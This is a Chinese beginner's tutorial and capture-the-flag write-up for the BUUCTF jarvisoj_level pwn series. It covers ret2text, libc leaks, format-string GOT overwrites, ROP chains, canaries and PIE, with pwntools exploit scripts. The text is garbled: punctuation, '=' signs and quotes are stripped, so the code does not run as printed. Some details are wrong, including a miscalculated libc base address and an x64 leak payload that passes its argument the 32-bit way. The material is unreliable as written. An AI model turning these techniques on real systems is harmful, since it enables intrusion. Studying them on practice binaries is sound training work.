
刷BUUCTF的PWN新人基本都会撞上jarvisoj_level这套题。它不比那些动辄堆利用、内核提权的硬核题目几个level走下来核心就是在栈上做文章从最朴素的ret2text开始一路到libc泄露、格式化字符串、ROP链构造整套流程就像是PWN栈利用的“新手村教学关”。这篇文章不扯虚的直接把这套题从工具准备到逐题拆解再到我踩过的坑完整捋一遍给正在刷题的兄弟一个能照着走的路线。先说清楚这套题适合谁如果你刚会写Python懂一点点C语言编译原理完全没学过但想入门PWN那jarvisoj_level就是为你准备的。题目本身给的二进制文件大多是64位小端序开启NX栈不可执行保护但没开PIE地址随机化这意味着程序里函数地址是固定死的你只要找到后门函数或者能用的gadget直接把返回地址改过去就行。这种“半锁门”的状态恰恰是练手的最佳环境——既让你体会到控制程序流的快感又不至于被随机地址折磨到劝退。我当年刷这套题的时候还没养成先看保护机制的习惯拿到文件就急着反汇编结果经常是明明思路对了exp写出来却跑不通最后发现不是栈对齐问题就是没查附件版本。后来学乖了不管什么题先一条checksec命令打上去再决定怎么打。这套题做完你自然也会形成这个肌肉记忆。1. 题目整体认知与学习路径1.1 这套题在PWN学习中的定位PWN方向的知识体系大致分三块栈利用、堆利用、内核利用。堆利用要懂chunk结构、bin链管理光看glibc源码就能看掉半条命内核利用更是连系统调用都要自己构造。而栈利用是所有方向里最“线性”的——函数的调用栈是死的返回地址的位置是确定的你只要搞清楚输入数据在栈上的偏移再找到该跳去的地方就完事了。jarvisoj_level系列恰好把栈利用这条线上的关键节点全部覆盖了。这套题在设计上的妙处在于每个level只比上一个多一个变量。比如level0几乎是把后门函数送到你脸上level1就开始要求你主动泄露地址level2引入格式化字符串这个非栈溢出漏洞level3和level4则是在ROP链长度和参数传递上做文章。一个level一个台阶没有跨越式难度非常适合按顺序刷。1.2 为什么要从栈溢出开始很多新手喜欢一上来就啃堆利用其实这是误区。堆利用的难点在于你要同时理解分配器、释放状态、tcache机制任何一个细节没掌握exp就直接崩。而栈溢出的核心就一句话函数的返回地址存放在栈上如果你能通过输入覆盖它就能控制程序下一步跳到哪里。这个“控制EIP/RIP”的能力是所有漏洞利用的基础。你想想无论是ROP、JOP还是ret2libc本质都是在回答同一个问题程序不该跳去的地方我能不能让它跳过去栈溢出就是让这个问题的答案变成“能”的最简单路径。也正是因为简单它更有利于你建立“偏移量计算-漏洞触发-利用构造”这个PWN解题的三段式思维。提示刷这套题之前建议先把C语言的函数调用约定尤其是参数如何传栈复习一下。不用太深知道x64下前六个参数依次放在rdi、rsi、rdx、rcx、r8、r9多余的参数压栈然后返回值放在rax里就够了。这套题八成以上的坑都跟这个约定相关。2. 工具准备与核心概念2.1 必备工具清单与配置建议工欲善其事必先利其器。这套题涉及的工具不多但每个都必不可少。我按使用频率排个序PWNToolsPython库发payload、交互、ELF解析全靠它。安装很简单pip install pwntools就行。但注意Python版本Python3.8以下的兼容性最好3.10以上偶尔会报bytes和str混用的错建议直接用Python3.8的虚拟环境。Checksec查看二进制保护机制的小工具现在pwntools自带这个功能checksec(./level0)一行就能看到所有防护状态。Objdump/Ghidra/IDA反汇编用的。Ghidra免费开源如果不想折腾破解版IDAGhidra完全够用。objdump则是命令行快速查看汇编的首选。GDB Pwndbg插件动态调试必须。Pwndbg会把栈上的内容、寄存器高亮显示还能用cyclic命令快速测试溢出偏移。环境方面推荐用Ubuntu 18.04或20.04的64位虚拟机glibc版本别太新否则有些题目提供的libc可能跑不起来。我自己用的是Ubuntu 20.04同时装了libc6-dbg和libc6-dbg:i386这样无论是32位还是64位题目都能调试。2.2 栈溢出的基本原理一个生活化的理解假设你在一家餐厅吃饭进门前把外套挂在门口衣架上领位员给你安排座位然后你开始点菜。吃完饭离开时你会先去衣架取外套再出门。这里的“衣架”就是栈“外套”就是返回地址。正常情况下你取走的是自己的外套但如果有个捣蛋的服务员趁你不注意往衣架上塞了一件写着“去厨房”的外套你披上它出门就走错方向了。栈溢出就是这个道理程序在栈上分配一块缓冲区相当于座位区用来放你的输入相当于点菜内容但没有检查你的输入量。如果你点的菜太多溢出了座位区就会一路堆到“衣架”区域把原本的“返回地址”盖成你输入的数据。而你输入的数据完全可以是某个攻击目标的地址——于是程序执行完当前函数“取外套”时就拿着你给的地址跳了过去。在具体实现上函数的栈帧布局大致是这样高地址处存放函数返回地址紧接着是上一栈帧的rbp再往下是局部变量。如果你的输入从局部变量区开始写填满缓冲区、覆盖掉保存的rbp之后再往后写8个字节就恰好是返回地址的位置。这也是为什么每次做题都要先算偏移找到你输入的开头到返回地址之间到底隔了多少个字节。3. 逐题拆解与实操过程这套题在BUUCTF上的文件名通常就是level0、level1、level2这些直接搜索“jarvisoj_level”就能看到全套。下面我按顺序逐题说每道题都给出完整思路和可复现的exp框架。3.1 level0最经典的ret2text入门这道题的二进制文件下载下来先做三件事checksec看保护然后跑一下看交互最后扔进Ghidra反汇编。checksec的典型输出是Arch是amd64-64-littleRELRO是Partial RELROStack是No canary foundNX enabledPIE disabled。没有canary意味着你可以为所欲为地溢出PIE disabled意味着所有地址固定NX enabled意味着你不能在栈上执行shellcode所以目标是寻找程序中已有的代码片段。反汇编之后一眼就能看到两个函数一个叫vulnerable_function内部有一个read(0, buf, 0x200)的调用另一个叫system但注意这里不是libc的system而是程序自己定义的一个函数汇编里直接call system参数是/bin/sh字符串。这个后门函数的具体名称可能在不同版本里略有差异有的叫system有的叫backdoor但特征都一样函数内部调用system且参数已经是/bin/sh。你只需要把返回地址覆盖成这个后门函数的地址即可。偏移量的计算有两种方法一种是静态看汇编找到缓冲区起始位置相对rbp的偏移然后加8另一种是动态用cyclic生成随机字符串跑崩后用gdb查看RIP落在哪里位置索引就是偏移量。我用的是第二种因为快且不会错。假设算出来偏移是136字节那么exp核心逻辑就是from pwn import * elf ELF(./level0) backdoor_addr 0x400596 # 具体地址以反汇编为准 payload bA * 136 p64(backdoor_addr) io process(./level0) # 远程时换成 remote(node5.buuoj.cn, 端口号) io.sendline(payload) io.interactive()这道题最容易翻车的地方在于忘记栈对齐。x64的system调用要求栈指针按16字节对齐否则movaps指令会触发SIGSEGV。如果后门函数地址的末尾是0x8而不是0x0通常还需要在payload里多加一个ret gadget来调整栈。注意如果你exp跑起来shell没弹出来反而报“Segmentation fault”先别急着怀疑偏移量先把栈对齐检查一遍。在payload的返回地址之前加一个单独的ret指令地址往往就能解决问题。3.2 level1泄露libc与ret2libc的初体验level0是直接给答案level1就要求你自己去找答案了。这道题程序里没有现成的后门只调用了write或puts来输出一段提示信息。目标很明确既然程序里没有system那就去libc里找但libc的地址是随机的ASLR开启你需要先泄露一个真实地址算出libc基址再用基址加上system和/bin/sh的偏移去构造调用链。泄露地址的常用手法是GOT表泄露程序在运行过程中调用过某个libc函数比如write或puts它的真实地址会被写入GOT表对应条目。利用栈溢出调用puts/write将某个GOT表项的内容打印出来就相当于拿到了libc中的一个真实地址。这道题的payload大概要拆成两段来写。第一段溢出后返回到puts函数参数设为putsgot或者writegot再返回主函数或漏洞函数。这样程序会打印出puts的真实地址然后重新进入漏洞函数等待你的第二次输入。第二段根据泄露地址计算出libc基址再构造system(/bin/sh)的调用链。计算过程很关键我展开说假设泄露出的puts真实地址是0x7f1234567890在本地用libc-database或者libc.rip查到目标libc中puts的偏移是0x64420那么libc基址就是0x7f1234567890 - 0x64420 0x7f1234504a70。system偏移如果是0x4f550/bin/sh偏移如果是0x1b3e1a那么system的真实地址就是0x7f1234504a70 0x4f550/bin/sh的真实地址就是0x7f1234504a70 0x1b3e1a。这里有一个本地调试和远程打通的差异问题本地直接用系统默认的libc远程要用题目给的libc文件。BUUCTF的题目一般会提供附件下载后解压能看到一个.so文件和二进制。把所有偏移基于这个.so文件计算才能一发入魂。打完泄露payload后用io.recvuntil()截取输出再用u64(io.recv(6).ljust(8, b\x00))还原地址。注意libc地址一般只有6个有效字节末尾两个字节是换行符或空字节需要手动截取和填充。from pwn import * context.log_level debug elf ELF(./level1) libc ELF(./libc-2.23.so) # 假设已经通过cyclic或IDA算出偏移是 0x88 offset 0x88 puts_plt elf.plt[puts] puts_got elf.got[puts] vuln_addr elf.symbols[vulnerable_function] # 重新进入漏洞函数 # 第一段payload泄露puts真实地址 payload1 bA * offset p64(puts_plt) p64(vuln_addr) p64(puts_got) io.sendline(payload1) io.recvuntil(...) # 根据程序输出来定位 leaked u64(io.recv(6).ljust(8, b\x00)) libc_base leaked - libc.symbols[puts] # 第二段payload调用system(/bin/sh) system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh)) pop_rdi_ret 0x4006c3 # 用ROPgadget找出来的gadget payload2 bA * offset p64(pop_rdi_ret) p64(binsh_addr) p64(system_addr) io.sendline(payload2) io.interactive()新手最容易犯的错是在第二段payload里忘记加pop rdi; ret这个gadget。x64下函数调用约定要求第一个参数放在rdi寄存器如果你直接把/bin/sh地址放在栈上system会从rdi里读到一个乱七八糟的值自然打不出shell。3.3 level2格式化字符串漏洞的任意写到了level2漏洞类型变了。程序里可能存在一个sprintf或者printf直接把用户输入当作格式化字符串输出的位置比如printf(buf)。这类漏洞一旦存在利用方式就从“覆盖返回地址”变成了“通过格式化字符串符号控制读写”。格式化字符串的核心机制是printf的格式符会按顺序消耗栈上的参数。如果你输入%p.%p.%p...printf会依次打印栈上寄存器和栈帧里的数据这就实现了“泄露”。配合%n格式符printf会把“已输出的字符数”写入对应位置的地址这就实现了“写”。拿这道题来说Ghidra里看到一个函数内部流程大致是读取输入到buf然后printf(buf)再读取输入到buf2最后有一个system调用。这个system调用就是突破口。既然程序里已经有system的PLT表项问题只在于system的参数指向哪。正常情况下它可能指向一个空字符串弹不出shell但你可以利用格式化字符串漏洞改写GOT表或者直接改写某个控制流。我自己的解法是先用%p确定输入在栈上的位置也就是“偏移参数”比如发现第7个参数就是buf的起始地址。然后用格式化字符串把某个已经被调用的函数的GOT表项改写为system的地址再让程序走到调用该函数的地方此时参数会恰好在rdi里或者已经是/bin/sh附近。有时候更简单直接把返回地址改写为system的地址同时把栈上某个位置覆盖为/bin/sh字符串的指针。不过level2真正的考点其实在于让你理解%n写入的字节数控制方法。比如你想往某个地址写入0x804a048这个值面对8个字节的高地址和低地址你需要分别用%hn写低4位和%hhn写低2位或者用fmtstr_payload自动生成。PWNTools自带fmtstr_payload函数但考试刷题时建议手动构造一次理解原理后再用工具。from pwn import * elf ELF(./level2) # 假设程序中有 systemplt system_plt elf.plt[system] # 假设目标是改写 printfgot 为 systemplt printf_got elf.got[printf] # 通过 fmtstr_payload 自动生成 payload fmtstr_payload(7, {printf_got: system_plt}) io.sendline(payload) io.interactive()如果你决定手动构造这会是一个比较长的payload而且需要先算好偏移。这个偏移不是栈溢出那个偏移而是格式化字符串中参数的位置编号。我的经验是先用%7$p这样的格式符测试逐步调整数字直到返回的十六进制值能对应到输入的前几个字节那个数字就是偏移。3.4 level3ROP链的组合与参数构造这道题的难度上了一个小台阶。程序里依然有栈溢出但后门地址、可直接利用的system都不太好找很可能只有一个简单的gets或read调用。要求你把多个gadget拼起来构造一条ROP链来达到执行execve(/bin/sh, NULL, NULL)的目的。既然x64下传参靠寄存器ROP链的思路就是用gadget把需要传递的参数比如/bin/sh的地址放入rdi再跳转到system或execve。常用的gadget就是pop rdi; ret用ROPgadget或ropper搜ROPgadget --binary level3 | grep pop rdi搜到的地址可能是0x4006c3这样的。除了pop rdi有时候还需要pop rsi; pop r15; ret这种一次控制两个寄存器的gadget因为execve的第二个参数rsi需要为0。level3的完整攻击链大概是这样的先栈溢出跳到putsplt泄露puts的真实地址然后回到vulnerable函数再次接收第二段payload。第一段泄露之后算libc基址再找libc里的execve或者system和/bin/sh。第二次溢出时配置好payload先pop rdi; ret到/bin/sh地址再跳system。如果你在本地测试system不好使或者远程一直超时可以试试换用execve。execve的调用参数是rdi/bin/sh、rsi0、rdx0前两个好控制rdx很多时候已经是0如果gadget里没有pop rdx可以找一个不影响rdx的路径跳过去或者使用libc里的__libc_csu_init万能gadget。这道题很多人在本地调试时没注意SROP或者csu gadget的存在实际上__libc_csu_init提供的pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret以及mov rdx, r15; mov rsi, r14; mov edi, r12d; call [r13rbx*8]是组合构造复杂参数的关键。但我个人建议如果只用system不需要那么多参数就别强行上csu gadget链子越长越容易断。3.5 level4及后续保护机制加码与综合利用到了level4几个老生常谈的点都齐了可能开了PIE也可能题目要求远程动态链接甚至栈上出现了canary。开PIE意味着程序本身的代码段地址也是随机的你需要先泄露某个偏移来推算基址开了canary则意味着你在覆盖返回地址前必须先把canary值原样写回否则程序会在函数返回时检测到栈被破坏并终止执行。如果只是开了canary泄露方式通常依赖格式化字符串漏洞或者利用一些输出函数把canary在内存中的值打出来。canary的第一个字节是\x00正好截断字符串输出所以它天然被保护但如果你能通过格式化字符串按字节读取栈内存依然可以把后面的7个字节读出来再修正第一个字节为\x00来绕过。PIE的情况则要依赖“部分覆盖”或者程序自身泄露地址的输出。有的版本里程序会打印某个缓冲区指针或函数地址那就不需要额外泄露了。如果题目没给泄露那只能在多个地址位中爆破这是另一个高级技术建议先把基础打法吃透再研究。关于这套题是否需要用one_gadget我建议新手千万别依赖它。one_gadget固然能一键出shell但它对寄存器状态有严格约束一个不满足就崩而你根本看不出来哪里不对。老老实实走system(/bin/sh)的调用链每一步都有输出可验证出了问题也能快速定位。4. 常见问题与排查技巧实录这个环节我把自己刷题时实际碰到的坑和解决办法整理出来直接按“现象-原因-方案”的格式列出来方便你排查时对照。4.1 Exp崩溃或打不通时的定位思路最常见的问题是“连接远程之后payload发过去对面没反应本地却能顺利出shell”。这个多半是libc版本不匹配。本地的glibc和远程提供的libc偏移不同尤其是system和/bin/sh的偏移差得非常远差几个字节都会导致地址指向无效页。解决办法是永远用题目附件里的.so文件来算偏移不要用本地libc.so.6更不要用别人writeup里的地址硬套。第二个问题是“栈对齐导致的movaps崩溃”。这个在level0那道题里已经提过但后续几个level只要调用system或execve都可能遇到。遇到SIGSEGV且gdb回溯栈显示在system内部或者movaps指令处优先尝试在返回地址前插入一个额外的ret。这个ret会让栈指针上移8字节恰好把对齐修正。第三个问题是“利用格式化字符串写入时地址落在不可写内存”。你有没有想过你改写的目标GOT表项可能在Partial RELRO下是可写的但如果题目开了Full RELROGOT表就在只读段里写多少都没用。以后养成习惯checksec输出里RELRO那一列是Full还是Partial直接决定了你的改写策略要不要换成覆盖返回地址或者某个函数指针。第四个问题是“本地跑通了远程却一直超时”。这通常不是你payload的问题而是交互读取时机不对。recvuntil卡住、发送时机太早、缓冲区里还留着上一次输出的残留都会导致异常。我的习惯是每次sendline之后先sleep(0.1)再用recvrepeat(0.2)去尽量多收数据避免漏掉。对于CTF比赛现场这招能省下大量排错时间。4.2 刷题时的实战建议做题顺序上如果没接触过PWN强烈建议按level0、level1、level2、level3的顺序来不要跳。level0建立“我居然能控制程序跳转”的感觉level1建立地址泄露和重入的概念level2是漏洞类型的转变level3是链式思考的开始。每道题做完多问自己一句如果NX关了怎么办如果PIE开了怎么办如果canary开了怎么办把这些问题想通再去刷别的平台同类题会快很多。还有一个被很多人忽略的点多练习用gdb调试自己的exp而不是只看输出。在关键地址处打断点观察栈上数据在payload发送前后的变化观察返回地址是否真的被覆盖成预期值。这种“眼见为实”的训练方式比闷头看writeup管用十倍。我见过太多新手会写exp但不回调试一旦exp不工作就成了盲人摸象这很致命。提示BUUCTF的题目远程端口会变每次启动都可能不同别把端口写死在exp里。用参数传进去比如python3 exp.py 12345端口变了改个参数就行省得反复编辑代码。5. 这套题做完之后接下来该干什么如果你把level0到level4都做透了栈溢出的基础已经相当扎实。接下来可以尝试BUUCTF上的其他入门系列比如ciscn_2019系列或者jarvisoj的进阶题目。方向可以往堆利用走但别急着上tcache攻击先把fastbin的double free和unlink理解透这两个是堆利用的基石。我在刷这套题上花的时间大约是三个晚上前两个晚上都在level1的libc计算上卡着后来想通了libc_base leaked - offset这个公式背后的含义后面的题瞬间顺了。最后分享一个小技巧每次做完一道题都把exp保存下来文件名带上题目和日期注释里写清楚关键代码的用途和踩过的坑。不要小看这个习惯过一个月你再刷类似的题翻翻自己的历史exp比翻任何writeup都快因为那里面写的都是你当时的思考过程和年少的倔强。